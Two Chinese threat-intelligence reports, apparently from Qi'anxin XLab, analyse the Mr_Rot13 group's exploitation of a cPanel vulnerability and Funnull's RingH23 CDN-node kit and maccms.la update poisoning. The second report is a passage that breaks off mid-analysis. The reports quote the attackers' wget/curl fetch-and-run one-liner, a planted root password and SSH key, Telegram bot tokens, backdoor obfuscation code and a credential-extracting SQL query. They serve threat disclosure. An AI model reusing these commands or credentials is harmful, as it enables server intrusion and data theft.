奇安信XLab

秘密活动6年的神秘黑客组织Mr_Rot13正在利用cPanel高危漏洞部署后门木马

Mon, 11 May 2026 15:42:00 +0800

原创奇安信X实验室 2026-05-11 15:42 北京

背景CVE-2026-41940 是一个影响 cPanel & WHM 的高危未授权认证绕过漏洞。

背景

CVE-2026-41940 是一个影响 cPanel & WHM 的高危未授权认证绕过漏洞。该产品广泛应用于 Linux 服务器运维与虚拟主机管理。漏洞 CVSS 评分高达 9.8（Critical），攻击者无需提供账号或密码，即可远程绕过身份认证并接管 cPanel / WHM 控制面板，可使未经过身份验证的远程攻击者获得受影响服务器的管理员权限。

自 2026 年 4 月 28 日漏洞公开披露以来，XLab大网威胁感知系统持续监测到大量黑灰产组织正在积极利用该漏洞实施网络攻击，相关行为包括挖矿、勒索、僵尸网络扩散、后门植入等多种恶意活动。监测数据显示，当前已有来自全球的 2000 余个攻击源 IP 参与针对该漏洞的自动化攻击与网络犯罪活动，这些IP分布在全球多个地区，主要来自德国、美国、巴西、荷兰等地区。

5月2日，安全社区披露黑客已利用该漏洞成功入侵东南亚政府及军事机构，窃取了约4.37G敏感文件的安全事件。

5月4日，我们在梳理通过CVE-2026-41940漏洞投递的恶意载荷过程中，发现了一个与众不同的新型感染器，该感染器采用Go语言编写，项目名称为“Payload”，其中嵌入了大量土耳其语的日志信息，疑似由AI生成。其主要功能是：向被入侵的cPanel系统植入SSH 公钥、恶意PHP、JS代码，窃取登录凭证，并将窃得的信息回传至黑客控制的Telegram群组，最终部署一个名为“filemanager”的远控木马。

在溯源分析时，我们发现本次活动的Downloader域名一个2022年上传至VirusTotal，至今依然0检测的PHP后门使用了JS代码中的相同的C2域名wrned[.]com，这个域名早在2020年就投入使用。种种迹象表明，这些威胁的背后并不是那种“打完就跑”的投机型脚本小子，而是一个能够隐秘活动多年、至今仍未被发现的稳定黑客团体。根据创建Telegram群组时所使用的用户名（first_name）“0xWR”，以及JS代码中采用Rot13算法隐藏C2的行为，我们内部将这个神秘的黑客组织命名为Mr_Rot13。

5月4日下午，ID为“xrill_y”的用户向Mr_Rot13创建的Telegram机器人发送了一条消息，这一举动似乎打草惊蛇（当然这只是我们的解读）。次日，Mr_Rot13迅速作出反应：升级恶意样本、更换机器人令牌（bot token），并将机器人移出群组。直到5月7日，他才再次将该机器人拉回群中。目前群组中一共有3名成员，我们的技术手段无法确认他们的身份，欢迎了解内幕的朋友向我们分享更多细节。

从2020年至今的六年时间里，Mr_Rot13 的相关样本及基础设施在各安全产品中的检测率持续处于极低水平。考虑到该威胁活动仍在进行中，且涉及的 cPanel 漏洞具有高危特性，我们特撰写本威胁快讯，旨在向安全社区分享相关发现，携手共同维护网络安全。

Payload感染器

Mr_rot13通过CVE-2026-41940投递的恶意脚本如下所示，它的功能是向下载服务器cp.dene.[de.com请求一个名为Update的恶意载荷，并通过 nohup 命令使其在后台持续运行（通常结合 & 使用）。

F=/root/.u$$; 
(
wget -q -O "$F" 'https://cp.dene.de[.]com/Update' 2>/dev/null 
||
curl -sk -o "$F" 'https://cp.dene.de[.]com/Update'
) 
&& chmod 755 "$F" && (nohup "$F" -s >/dev/null 2>&1 &) 
&& sleep 2; rm -f "$F"

这个所谓的Update文件就是我们前文所说的Payload感染器，通过对下载URL的持续监控，一共捕获了3个版本，它们的功能相近，本文以5月5日捕获的最新版本为主要分析对象，基本信息如下所示：

MD5: fb1bc3f935fdeb3555465070ba2db33c
Magic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
FileName: Update

Payload 感染器的功能直观且结构简单，分析难度较低。Payload感染器在运行时，若未指定 -s 或 --silent 参数，会逐项输出各类任务的执行状态。从字符串的风格来看，该感染器极有可能是攻击者直接借助 AI 生成的。

Payload感染器的主要任务是修改被入侵的系统的密码，向其植入SSH 公钥，PHP Webshell和恶意JS代码，部署filemanager远控，并将敏感的设备信息，凭证回传给黑客。

修该密码 & 植入SSH 公钥，对应的处理函数分别为main_changeRootPassword和main_installSSHKey

修改ROOT密码

root:123Qwe123C

植入SSH 公钥

ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFIswJUfqrkbm2sIMfNHZn1sOYkxjNzEynqJKFU7qoez cpanel-updater

植入PHP Webshell, 对应的处理函数为main_installCpanelPy

Webshell的下载地址为

https://cp.dene.de[.]com/cpanel.py

本地保存路径为

/usr/local/cpanel/cgi-sys/cpanel.py

这个Webshell的名字是Cpanel-Python，支持文件上传&浏览，以及远程命令执行等功能。

注入Javascript代码，对应的处理函数为main_injectLoginPage

恶意JS下载地址为

https://cp.dene.de[.]com/login.js
https::/cp.dena.de[.]com/login.tmpl

保存路径为

/usr/local/cpanel/base/unprotected/cpanel

而在login.js则通过下载代码片段实现窃取用户登录时的用户名、密码、User-Agent以及当前URL，并通过AJAX请求将这些敏感数据发送到攻击者控制的远程服务器。

样本中服务器地址使用ROT13编码“uggcf://jearq.pbz/ybt.cuc?g=3”，解码后https://wrned[.]com/log.php?t=3。

部署Filemanager远控，对应的处理函数为main_runWpsockInstaller

通过以下代码片段构建curl下载命令，其中url指向Filemanager后门的安装脚本下载地址https://wpsock[.]com/cpanel/install.sh。

install.sh中的代码表明Filemanager是一个跨平台的后门，支持Darwin，Linux,Windows3个主流操作系统。

敏感的信息回传至C2，对应的处理函数为main_postData

收集被入侵系统的bash历史记录，ssh，设备信息，数据库密码，Valiases配置等敏感信息，回传到黑客服务器。回传接口为https://cp.dene.de[.]com/collect.php

敏感信息回传至回传到Telegram，对应的处理函数为main_sendTelegram或main_sendTelegramFile

除了main_postData这种方式，Payloader感染器还支持一条冗余的Telegram回传通道，接收信息的群组ID为-443071772。

众所周知，使用Telegram Bot进行数据传递，必须配置Token，目前一共发现以下2个Token，它们对应的其实都是一个名为"log_FatherBot"的bot，只不过前者已被废除。

1190043163:AAEy1FDoB_r8KFiOIqsEpgDQ2k78Ai6BdWk
1190043163:AAFtaUfpui9fqKoRnqOa5XvT6MHLcK1axiU

知道Token以及群组ID之后，我们通过getChatAdministrators接口发现这个群组的创建者为0xWR，遗憾的是他的个人简介中并没有暴露更多信息。

5月4日，用户 xrill_y 使用第一个 token 向 Bot 发送了消息。Mr_rot13 迅速响应，在新样本中直接作废该 token 并启用了新 token。随后，xrill_y似乎为了隐藏，将用户名改为 iudcbjrfv。根据现在的线索，我们无法确定 xrill_y 的真实身份，但倾向于认为他是一名安全研究人员。

Filemanager远控

Filemanager后门是一个跨平台的远控木马，支持Darwin，Linux，Windows三大主流操作系统。本文以Linux, AMD64 CPU架构的样本为主要分析对象，它的基本信息如下所示：

MD5: 9305b4ebbb4d39907cf36b62989a6af3
MAGIC: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
Name: filemanager-linux-amd64

Filemanager 支持大量参数，具体用法请参考帮助信息，本文不再逐一赘述。需特别注意的是，该工具不支持直接传递明文密码。正确的做法是：先用 -hash 参数对目标密码生成 bcrypt 哈希值，再将生成的哈希值通过 -pass-hash 参数传入。在 Shell 环境中，必须使用单引号将 bcrypt 哈希值括起来（例如 '$2a$10$...'），否则 $ 符号会被解释为变量，导致密码无效。

Filemanager 运行时监听 port 参数指定的端口，通过 Web 页面为攻击者提供远程管理被入侵系统的通道。

为了演示它的功能，我们在测试设备中启动filemanager，并指定用户名&密码，端口为9999。

此时通过浏览器访问测试设备的9999端口，即可进入操作页面，非常典型的远控操作台，支持文件管理，远程命令执行以及SHELL功能。

2022年至今0检测的PHP后门

在溯源过程中，我们发现了一个2022年上传到VirusTotal，名为helper的PHP文件，该文件存在和wrned.com通信的行为，经过分析，我们确认它是一个PHP后门。

MD5: 2286f126ab4740ccf2595ad1fa0c615c
Magic: PHP script text
Name: helper.php

该文件由2部分组成，前部分代码来自WordPress系统文件options.php，从*/之后为混淆的恶意代码。

混淆方式为简单的字串xor拼接混淆，以下面的混淆字串为例，它去混淆后为为str_rot13。

  $___ =  ("8" ^ "K") .("8" ^ "L") .
          ("8" ^ "J") .("v" ^ ")") .
          ("8" ^ "J") .("T" ^ ";") .
          ("8" ^ "L") .("W" ^ "f") .
          ("R" ^ "a");

全文去混淆后不难看出PHP后门的主要逻辑为：首先向远程服务器https://wrned[.]com/api.php?t=3&c=1回传触发环境下的关键参数，包括URL、客户端IP、参数 w 的值及User-Agent等。C2响应返回一个包含 s、u、c 三个键的JSON对象。其中，s 用于标识当前请求在C2视角下是否合法；c 为RC4密钥，用于解密硬编码的payload；u 用于承载额外数据，我们推测它在解密后的payload执行阶段被引用。

实际产生的流量如上所示，我们持续跟踪了数日，但遗憾的是，始终未从C2收到有效响应，因此无法解密样本中经RC4加密的载荷，难以进一步分析该PHP后门的具体功能。不过可以确定的是，WordPress 无疑是 Mr_Rot13 的重点攻击目标之一。

总结

这是目前掌握的Mr_rot13黑客团伙的所有情报，受限于分析视野，相关信息仍不完整，欢迎掌握更多线索的团队或个人与我们共享情报；如果您对我们的研究感兴趣，或者了解内幕消息，欢迎与我们联系。

对威胁情报感兴趣的读者，请点击下方的“阅读原文”访问我们的官方博客，原文提供了Mr_rot13详尽的IoC。

阅读原文

跳转微信打开

围剿FUNNULL黑产：深度揭秘影响百万用户的投毒攻击链

Fri, 27 Feb 2026 12:59:00 +0800

原创奇安信X实验室 2026-02-27 12:59 江西

背景介绍

Funnull（全称 Funnull Technology Inc.，中文又称方能CDN或方能科技）是一家注册在菲律宾的公司，表面上看是一家提供CDN（内容分发网络）服务的公司，但实际上它是东南亚网络黑产链条中非常重要的基础设施提供商，专为“杀猪盘”网络诈骗提供一站式服务，被美国政府明确定性为重大网络犯罪支持者，在中国黑灰产圈内也长期被视为“诈骗专用云”。2025年5月29日，美国财政部外国资产控制办公室（OFAC）正式宣布对Funnull黑产团伙进行制裁，之后 Funnull 的公开运营基本陷于停滞。然而网络黑产链条的往往有极强的韧性，Funnull这样的老牌专业团队更是如此，“被打击、潜伏、再度回归”几乎成为其生存常态，我们的最新研究表明Funnull已换皮复活。

时间回到2025年7月9日，Xlab大网威胁感知系统监测到域名download.zhw.sh正在传播一个VT 0 检测的ELF文件。首先引起注意的是访问hxxp://zhw.]sh显示的图片，让我们直呼真是胆大包天。更值得警惕的是，样本中涉及的域名“client.110.nz”在我们的PDNS系统中显示解析次数高达16亿次，种种异常迹象表明，这似乎是一条“大鱼”。

在激动的心情中，我们开始了分析之旅，很快就有了初步结论：这个ELF文件是一个下载器，它会向远程服务器请求udev.sh, udev.rules, module.so, libutilkeybd.so, ring04h_office_bin等多个载荷，但由于缺乏有效的会话令牌（session token）与群组密钥（group key），我们未能通过服务器的校验机制，没有捕获这些后续样本。然而，根据这些Payload的目的——如libutilkeybd.so用于通过 Preload 机制实现劫持，udev.rules用于通过Udev机制实现持久化——我们高度确信，这个下载器是一个恶意软件。

为查明这个下载器的真实意图，我们以文件名为线索进行主动狩猎，迅速锁定关键组件：module.so 与 libutilkeybd.so；一个月之后，我们进一步发现了到首个 ring04h_office_bin 样本。这些样本的相继捕获，逐步拼凑出一个攻击链条：攻击者首先入侵GoEdge管理节点，并植入感染模块 infection_init。该模块随后通过SSH远程命令，强制所有边缘节点下载并执行 downloader_init。download_init，即是上文所说的下载器，它会在受控节点上部署以下一系列恶意载荷，很明显这是一个分工非常明确的攻击套件，基于样本中反复出现的字串RING04H,以及office_bin模块使用xor 23解密配置文件，这个攻击套件被我们命名为RingH23，它包含Badnginx2s，Badredis2s，Badhide2s等不同目的组件。

udev.sh & udev.rules：非常少见的Udev持久化脚本&规则
module.so：非常少见的Nginx恶意模块，负责下载劫持，数字钱包替换，向网页注入恶意JavaScript代码，被命名为Badnginx2s
ring04h_office_bin：后门模块，用于维持对节点的长期持久化访问，C2保存在Azure Blob Storage，被命名为Badredis2s
libutilkeybd.so：用户态Rootkit模块，用于隐藏Payload的活动痕迹,被命名为Badhide2s

此次攻击活动的核心目的之一，是在向网页中植入恶意JavaScript代码，从而将访问者劫持并跳转至博彩、色情等非法网站。这些恶意脚本托管于数个2025年创建的公共静态资源库CDN的高仿域名。

code.jquecy[.]com，仿冒jquery.com
cdn.jsdclivr[.]com，仿冒jsdelivr.com
cdnjs.clondflare[.]com，仿冒cloudflare.com
static.bytedauce[.]com，仿冒bytedance.com

这批域名于2025年创建，从我们的数据视野来看，它们的影响范围已经相当广泛。以clondflare为例，访问峰值在2025年8月30日，当天去重客户端高达34万。需要强调的是，我们数据源在国内约占5%的市场份额，按照这个比列推算，clondflare当天在全国范围内可能被680万用户主观或被动访问，其影响规模令人咂舌。

此次攻击活动背后的团伙绝非普通黑客，我们以恶意JavaScript代码为线索展开溯源分析，惊奇地发现：本次活动使用的JS代码与2024年2月Polyfill.io供应链攻击以及同年5月GoEdge遭官方投毒两次攻击事件中所使用的恶意脚本如出一辙。这些攻击的黑手正是臭名昭著的Funnull黑产组织。

随着调查进一步深入，我们发现Funnull针对开源供应链及基础设施方面的攻击活动并没有停止。除了上述知名CDN服务外，该组织还将黑手伸向了影视内容管理系统领域——我们确认苹果CMS（maccms.la版）使用相同的JS脚本进行隐蔽的投毒攻击。

以下为本次研究的核心发现：

1. Funnull换马甲回归，而且全面升级。

Funnull又回来了，它是2024年Polyfill.io供应链攻击，是此前BootCDN、Bootcss、Staticfile等多起CDN投毒事件的幕后黑手，是被美国财政部点名协助"杀猪盘"骗局、受害者报告损失超2亿美元的那个黑产组织。他们的之前的主要手法是寄生在已有的公共CDN服务上投毒；而现在已进化到自主开发完整的服务器端攻击套件（RingH23），主动入侵CDN节点，控制力和技术深度都上了一个台阶。

2. 两条独立的供应链感染通道。

路径一：苹果CMS（maccms.la）官方升级通道投毒。苹果CMS是一个GitHub上积累2,700+星标的开源影视建站系统，在中国中小型影视站长中拥有极高普及率。现在看来它已落入了Funnull黑产组织之手，现已有明确证据表明，maccms.la官方通过升级通道下发恶意PHP后门。投毒设计非常狡猾——用户安装后首次登录管理后台时触发，payload设有3分钟时效窗口，下载成功之后或过期即无法访问，有效规避事后取证。

路径二：GoEdge管理节点 → SSH横向扩散 → RingH23套件部署。攻击者入侵GoEdge CDN管理节点，植入感染模块，随后通过SSH远程命令将攻击套件RingH23强制部署到所有边缘节点。该套件包含Badredis2s, Badnginx2s, Badhide2s等多个专业化组件，并且使用非常少见的UDEV机制实现持久化。这些组件设计精良，分工极其明确，不是脚本小子的随手之作，而是一个成熟的工程化黑产攻击套件。

3. 影响百万级用户，受害者陷入"清理又感染"的死循环。

从我们的监测数据来看：单日去重客户端峰值达58万（而我们的数据源仅占国内约5%的市场份额），保守推算全国日均超过百万用户被劫持至博彩、色情等非法站点。10,748个IP被确认感染，绝大多数为影视站点。Badredis2s的C2域名排进Tranco全球网站排名前50万，活跃程度极高。更棘手的是，大量受害站长陷入反复感染的困境。原因在于感染是三层结构，只清理表面等于只擦掉了症状，必须三层全部清除，否则必定复发。

第一层（表面）：被篡改的JS文件。这是多数人发现的症状，清除后短暂恢复。
第二层（中间）：PHP恶意载荷。恶意PHP载荷在thinkphp框架中注册钩子，每一个被渲染的页面都会被自动重新感染，不清除PHP后门，JS永远清不干净。
第三层（根源）：官方升级通道 / 系统级持久化。对maccms.la用户，每次检查更新都可能会重新下发恶意代码；对RingH23受害者，udev规则在重启后自动恢复后门，Rootkit隐藏一切痕迹。

4. CDN1.AI疑似为FUNNULL的新马甲基础设施。

Funnull用于托管恶意JS脚本的域名近期集体迁移至CDN1.AI。CDN1于2025年6月才创建，却在极短时间内被FUNNULL全面采用。然而自身运维水平粗糙——官方网站证书过期都未处理，明显不符合一个正规CDN服务商的表现。综合其快速获得信任的异常模式与基础设施高度同步的迁移时机，我们推测CDN1.AI并非真正的第三方CDN，而是FUNNULL为规避追踪而启用的新马甲，这意味着该团伙正在主动构建新的基础设施层。

5. 黑产运用精细化运营逻辑，针对性极强。

攻击主要针对手机用户，设有地区限制（目前仅中国时区触发）和分时段概率机制。例如凌晨4-7点的劫持概率高达80%，利用的正是用户深夜疲惫、自控力下降的心理窗口。

更值得警惕的是攻击者的用户画像策略：根据页面内容关键词判断访客类型，实施差异化导流，这套用户画像与分时段概率投放的运营逻辑，堪比正规公司的精细化运营水平。

对访问正常内容的用户（"正经流量"）：优先推送入门级色情和擦边内容，降低心理门槛，逐步引导转化。
对已在访问灰色内容的用户（"高价值流量"）：直接对接上游赌博平台、高客单价色情站点，加速沉迷，最大化用户产出。

百万级别的影响规模

基于现有监测数据，虽然难以精确量化此次黑产活动的总体感染规模，但通过被感染的网站，C2排名，以及恶意JS被访问的趋势三个维度的观测，已能充分印证其广泛的影响。

1. 探测被感染的网站

植入到网页中的JS代码有非常强的特征，如“function xxSJRox”，“MfXKwV”，“ptbnNbK”等字串，通过资产测绘，我们发现10748个IP命中这一特征，它们中的大多数是影视站点。值得注意的是，恶意代码是动态注入，很多实际已被感染的网站可能不会被测绘发现。

2. C2的排名

Tranco 排名是一个用于衡量网站流行度的综合性排名系统，旨在提供更准确、更可靠的全球网站排名数据。它结合了Cisco Umbrella，Majestic，Farsight，Cloudflare Radar，Chrome 用户体验报告等多个数据源，是学术界广泛使用的工具。目前，Badredis2s的大部分C2都排在全球网站排名50万左右，活跃程度非常高。

3. 恶意JS被访问的趋势

我们在溯源过程中又发现了3个新的恶意JS托管站点：bdustatic[.]com，jsdelivr[.]vip以及macoms[.]la。从统计数据来看，单日去重后的客户端峰值为58万，当前数值略有下降，保持在20万左右。考虑到数据来源的市场占有率，保守评估每天超过百万用户受这些恶意JS背后非法站点的影响。

死灰复燃的FUNNULL黑产

1. 归属于FUNNULL的原因

Funnull作为东南亚黑产生态中的上游基础设施提供商，主要通过从 AWS、Azure 等云厂商批量采购干净 IP 地址，再结合 DGA 生成大量域名后“洗白”转售给下游诈骗团伙，从而支撑杀猪盘、假投资平台等诈骗活动。然而，在polyfill.io、bootcdn.net、staticfile.org等多次CDN投毒事件中，Funnull并非仅充当被动供应商，而是亲自下场操作，直接收购域名并在植入恶意JS代码。这些“自己亲自下场干黑活”的事件，强烈表明投毒所使用的脚本完全隶属于Funnull自身。因为这些脚本直接承担核心的恶意跳转与流量劫持功能，只有牢牢掌握控制权，才能确保黑产链条的高效运转，最大化分成收益，并避免下游团伙随意修改导致的效率损失或分成争议。

根据这一技术推论，我们认为JavaScript脚本的特征可作为攻击归属判定的关键依据。Funnull的脚本可分为JS Loader（加载器）和JS Redirector（重定向器）两大类，它们共同构成了一个流量重定向框架。其中，JS Load器的功能是动态加载伪装成jQuery库的Redirector有效载荷；而Redirector则负责将符合预设条件的用户请求，劫持并转向赌博、色情等非法站点

① JS Loader相似性

Loader核心逻辑是通过环境检测和反调试手段，在特定设备上隐蔽加载外部资源。代码使用Base64隐藏真实URL，通过字符串拼接动态创建script标签加载伪装的Query库，但仅针对移动设备/Linux执行。本次活动捕获的Loader代码与2023年BootCDN投毒事件中所用代码完全一致，包括环境判断逻辑、解码函数结构、参数命名等。

另外值得一提的是，macoms.la这个域名同时出现在了另外两起攻击事件中：Polyfill供应链攻击与GoEdge官方投毒。前者已被多家安全厂商和社区公开分析并判定为Funnull主导；后者虽暂无完整公开分析报告，但基于域名复用、流量劫持模式的一致性让我们有充分理由相信GoEdge投毒事件同样出自Funnull团伙之手。

② JS Redirector相似性

Redirector的核心逻辑是通过多重检测机制（设备类型、页面关键词、时区、访问时段）在不同时间段以不同的概率（如：0-8时劫持概率60%-80%，其他时间50%）将用户重定向到特定的色情，博彩，诈骗等推广，实现流量变现。

Funnull的Redirector有非常明显的风格，通常会判断设备类型来，一般只对手机或平板这类移动端下手，PC流量价值低、转化率差且容易被管理员/安全软件发现。

再根据页面内容对用户进行初步画像，评估其潜在商业价值，并实施差异化导流策略，简单来说：正经用户，引诱看点色情，思想滑坡好下手；不太正经的用户，加大剂量，榨干价值。

正经用户（低价值流量）

画像：当前访问的是主流正常内容页面（无明显灰黑关键词）。这类用户初始警惕性较高、付费意愿较低、转化周期较长。

策略：优先推送入门级色情、擦边或轻度福利内容，通过降低心理门槛、激发好奇心，逐步引导其向更深度的消费场景，最终实现转化。

非正经用户（高价值流量）

画像：当前访问的是色情、博彩、六合彩、福利导航、成人直播等（包含大量对应关键词）。这类用户已有明确需求、付费意愿较强、对平台实力与内容刺激度敏感、转化周期短。

策略：直接匹配更上游、更专业、资金更雄厚、玩法更刺激的平台，提供高品质内容与更高回报机制，加速用户沉迷并最大化单用户产出（注册、首存、持续消费等）。

策略确定后，再根据当前时间段动态调整跳转概率，充分利用用户在不同时段的心理状态与行为特征，实现更高效的流量变现：

00:00–01:59，跳转概率 60%。用户刚进入深夜，警惕性开始下降，但多数人尚未完全放松，适合适度放量。
02:00–03:59，跳转概率 70%。深度夜间阶段，用户决策力与自控力显著减弱，冲动消费意愿上升，是破防与转化的黄金窗口。
04:00–06:59：跳转概率 80%。凌晨高峰期，用户疲惫、孤独感强、警惕性最低，对色情/博彩内容的接受度与付费冲动达到峰值，此时投放强度最大，转化效率最高。
07:00–07:59：跳转概率回落至 60%。清晨时段，用户开始清醒，警惕性回升，投放强度适当收敛，避免干扰正常作息导致举报或流失。
其他时间（白天 08:00–23:59）：基础概率 50%。白天用户活跃度高但警惕性强，保持中等概率投放。

Redirector还有时区检测机制，只有的特定地区才会触发跳转，从捕获的样本来看，目前只针对中国。

当上面的条件都满足时，还有一道关卡，Funnull设计了一道远程控制开关：通过动态加载外部JavaScript文件来设置usercache变量，只有该变量为true时才允许执行跳转，从而实现攻击行为的远程操控。

这些行为是Funnull Redirector类脚本的典型特征。本次事件捕获的 JS 脚本在整体编码风格、混淆技术及核心逻辑设计上，与之前数次投毒活动中的样本几乎完全一致，呈现出明显的家族同源性，以GoEdge事件的脚本，以及本次RingH23攻击套件投递的样本为例，俩者近似的风格一目了然。

另一个更为直接的证据是，在本次活动中充当远程控制开关角色的ailyunoss.com（仿冒阿里云）于2025年4月24日被注册，它的DNS解析历史清晰地显示，在2025年5月22日至7月9日期间，该域名使用了funnull系列CDN服务。这一发现直接证明了RingH23攻击套件以及maccms.la的投毒攻击，与FUNNULL黑产团伙存在明确关联。

2. 可疑的cdn1.ai

Funnull用于托管的恶意javascript脚本的域名目前正在使用基于cdn1.ai基础设施的CDN服务。cdn1.ai于2025年6月18日创建，官方网站宣称它是全球内容分发网络，提供高速、稳定的内容加速服务，覆盖200+节点，提升网站访问速度95%以上。

我们根据CNAME记录对JS恶意域名进行分类，可以很清晰的看出历史活动中出现的域名从funnull cdn到cdn1.ai的转移过程。

将本次活动涉及域名与历史攻击活动中使用的域名进行横向对比分析，可以发现这些域名都在相近的时间窗口（集中在7月期间）完成了向cdn1.ai的迁移操作。

这不禁令人产生一个疑问：作为一家新兴的CDN服务商，CDN1.AI是如何在如此短的时间内，赢得像Funnull这类成熟黑产组织信任的？对于日进斗金的Funnull而言，基础设施的选择必定慎之又慎，对稳定性有比较高的要求。然而，CDN1.AI本身的表现却显得并不是那么可靠，它的技术架构源自于开源项目GoEdge，直接用于正规的商业环境先天就力有不逮；再者运营也不是很专业，例如其官方网站的SSL证书过期都未能及时更新，这显然不符合一家稳健服务商应有的表现。

我们目前尚未发现能够直接证明CDN1.AI与Funnull团伙存在归属关系的证据，但综合其快速获得信任的异常模式、自身运维的草率表现，以及与基础设施高度同步的迁移时机，现做一技术推测：CDN1.AI很可能并非真正的第三方CDN，而是Funnull团伙为规避追踪而启用的新马甲。

maccms.la官方投毒技术细节

苹果CMS（Maccms）是一套免费开源的专业影视内容管理系统，主要用于快速搭建与管理各类视频站点，如电影站、电视剧站或动漫资源站等。凭借其便捷的采集功能与灵活的模板系统，该系统自发布以来一直深受中小型影视站长的欢迎，广泛应用于个人及小规模商业视频平台建设中。最初官方维护的版本（原官网为maccms.com）已于2019年前后停止更新。此后，一个被称为“maccms.la”的社区版本开始提供更新与支持，目前在GitHub上的相关项目已积累超过2700个星标，体现出较为活跃的社区生态与用户认可度。

然而，正是这样一个被广泛使用的项目，却已卷入一场供应链安全事件。我们已掌握明确证据表明，maccms.la 的官方升级通道被用于下发恶意 PHP 后门代码，该后门在服务器侧执行后，会进一步植入恶意 JavaScript 脚本，对前端页面实施劫持与流量操控。恶意脚本的技术特征与 FUNNULL团伙在多起历史攻击活动中使用的手法高度一致，印证了业内近期流传的判断：maccms.la 已实际被 FUNNULL 团伙控制，或已被其收购并作为攻击基础设施的一部分持续运营。

0x1: 升级通道投毒

maccms github 源码application\admin\view_new\index\index.html中有一段ajax代码将maccms，php，thinkphp的版本信息上报给远程服务器(update.maccms.la)，检查是否需要升级。

一切看似正常，但是在实际中我们发现MACCMS完成安装后第一次登录管理后台时，远程服务器会发下发恶意JS代码，用于窃取敏感数据，下载PHP恶意载荷。

post：向远程服务器上报Cookie，管理后台地址等敏感信息
iframe：通过的隐蔽iframe触发MACCMS的下载机制，拉取恶意载荷

当网页中的iframe加载其src属性指向的地址ADMIN_PATH/admin/update/step1.html?file=laupdc00ecc82ab4b6d060da64d886e97b2c4时，浏览器会向该URL发起请求。该请求经由后端路由解析，最终会调用位于application/admin/controller/Update.php中的step1()函数。该函数的核心功能是：接收file参数，为其追加.zip扩展名并结合时间戳生成一个完整的资源标识，随后程序会基于这个标识向指定的远程服务器发起请求，尝试获取对应的资源文件。

从实际流量分析可见，laupdc00ecc82ab4b6d060da64d886e97b2c4.zip这一资源名可拆分为"laupd"前缀和一段32位MD5字符串，构成典型的伪装命名。服务器响应头中Date与Last-Modified时间戳完全一致，且设置了仅3分钟的有效期（max-age=180），表明该文件并非预先存储，而是针对请求即时动态生成的恶意payload。这种短时效设计使文件在下载窗口过后即无法访问（返回"access denied"），有效规避了事后取证。

0x2: PHP恶意载荷

laupdc00ecc82ab4b6d060da64d886e97b2c4.zip在解压后会释放 application/extra/active.php 文件。此外，我们在野还发现了另一个恶意 PHP 载荷 addons.php。

这两个PHP恶意载荷都没有使用代码混淆技术，分析难度较低。它们的核心功能都是向网站植入恶意JavaScript代码，但采用了不同的攻击策略实现网页篡改，主要区别在于注入方式和目标对象：

addons.php采用动态注入方式，在页面渲染过程中将恶意JS代码插入到HTML文件的标签之前。
active.php 则采用动静结合的双重注入策略：一方面动态地将恶意代码插入到HTML文件的标签之前；另一方面还会静态地修改系统JS模板文件，直接向文件尾部写入恶意代码。

以active.php为例，该恶意载荷在ThinkPHP框架中注册了一个view_filter钩子，使得所有需要渲染的页面在加载时都会自动触发其感染流程，实现了对网站访问流量的全面监控和实时攻击。

为了降低的暴露的风险，它还实现了一个精密的访问条件筛选机制：只有当用户使用手机设备、通过外部链接访问网站前台页面、且为非Ajax请求时才会触发恶意代码，同时通过会话控制确保每个用户最多每10小时只被攻击一次。

当条件满足时，进行对HTML和JS篡改的流程。先看对HTML的修改，它的逻辑核心其实就是用str_replace函数将网页中的$template_marker替换为$template_token.$template_marker。

$template_token和$template_marker 它们使用8进制编码，gzip压缩，没有PHP环境的读者可以使用在线的PHP Sandbox查看它们的内容。template_token是恶意JS代码，相信读者一定会觉得眼熟，它正是前面章节已分析过的JS Loader代码，而template_marker正是标签。

再来看对JS的修改，它的核心逻辑是使用file_put_contents函数对原始JS文件进行覆写，恶意JS代码以及/*system_optimization_signature*/格式的标签将被添加到JS文件尾部，system_optimization_signature是JS文件是否被感染的标识，它是恶意JS代码的MD5值的前12字节，即138ae887806f。

在Google搜索138ae887806f，可以看到不少用户讨论这一感染情况。用户的清理工作往往停留在清除已被感染的JavaScript文件这一表面症状。而更深层的PHP恶意载荷以及，作为持续攻击源的maccms.la官方投毒通道，并未被发现和根除，这导致了网站不断被重新植入恶意代码，陷入“清理-再感染”的循环。

攻击套件RingH23投毒技术细节

0x1: infect_init

infection_init组件的基本信息如下所示，它是一个Golang语言实现的感染器，使用标准UPX加壳。

infect_init必须在root权限下运行，至少需要提供session_token，service_url，group三个参数，其中service_url默认值为service.client.110[.]nz。

首先，它会和server_url指定的服务器依次应验token，group是否有效。两者都使用GET方法，User-Agent为硬编码的Azure。

token校验请求，使用的uri为/api/session/verify，参数指定的token保存在"X-Session"字段中。

group校验请求，使用的uri为/api/client_group/"group"，如下图流量中的group为 j6。

token,group通过验证后，遍历/proc目录，查找edge-admin进程。再通过该进程配置文件api_db.yaml中获取数据库的账号和密码，并使用以下sql语句，查询数据库中边缘节点及其登录凭证。

SELECT n.id, n.name, n.clusterId, l.type, l.params
FROM edgeNodes AS n LEFT JOIN edgeNodeLogins AS l
ON n.id=l.nodeId WHERE n.state=1

当成功获得节点的登录凭后，执行Main_SSHExec函数，通过SSH协议登录到边缘节点，下载下一阶段Payload。

Main_SSHExec的核心逻辑就是执行以下脚本，在边缘节点上部署下一阶段 download_init组件，其中DOWNLOAD_URL为 download.zhw[.]sh/EMrsVQj9VQ/init。

0x2: download_init

download_init组件的基本信息如下所示，它是一个Golang语言实现的下载器，使用标准UPX加壳。它主要目的是下载下一阶段的恶意载荷：后门木马，Rootkit，Udev持久化规则，以及Nginx模块等。

和infect_init一样，download_init也必须在root权限下运行，除service_token, service_url, group3个参数之外，还必须指定 run mode，例如用 “install” 表示安装，uninstall表示卸载等。

和infect_init不同的是，download_init在group参数通过验证后，会从C2返回的JSON数据中提取hash字段，供后续供register请求使用。

然后download_init尝试从被侵入设备中提醒Nginx服务器的相关信息，包括版本号，以及ngx_compat，ngx_dav，ngx_threads，ngx_real_ip等编译配置参数，并以此构造生成register请求，用于获得下一阶段载荷的下载地址。该请求使用的URI格式为/api/register/{hash}。

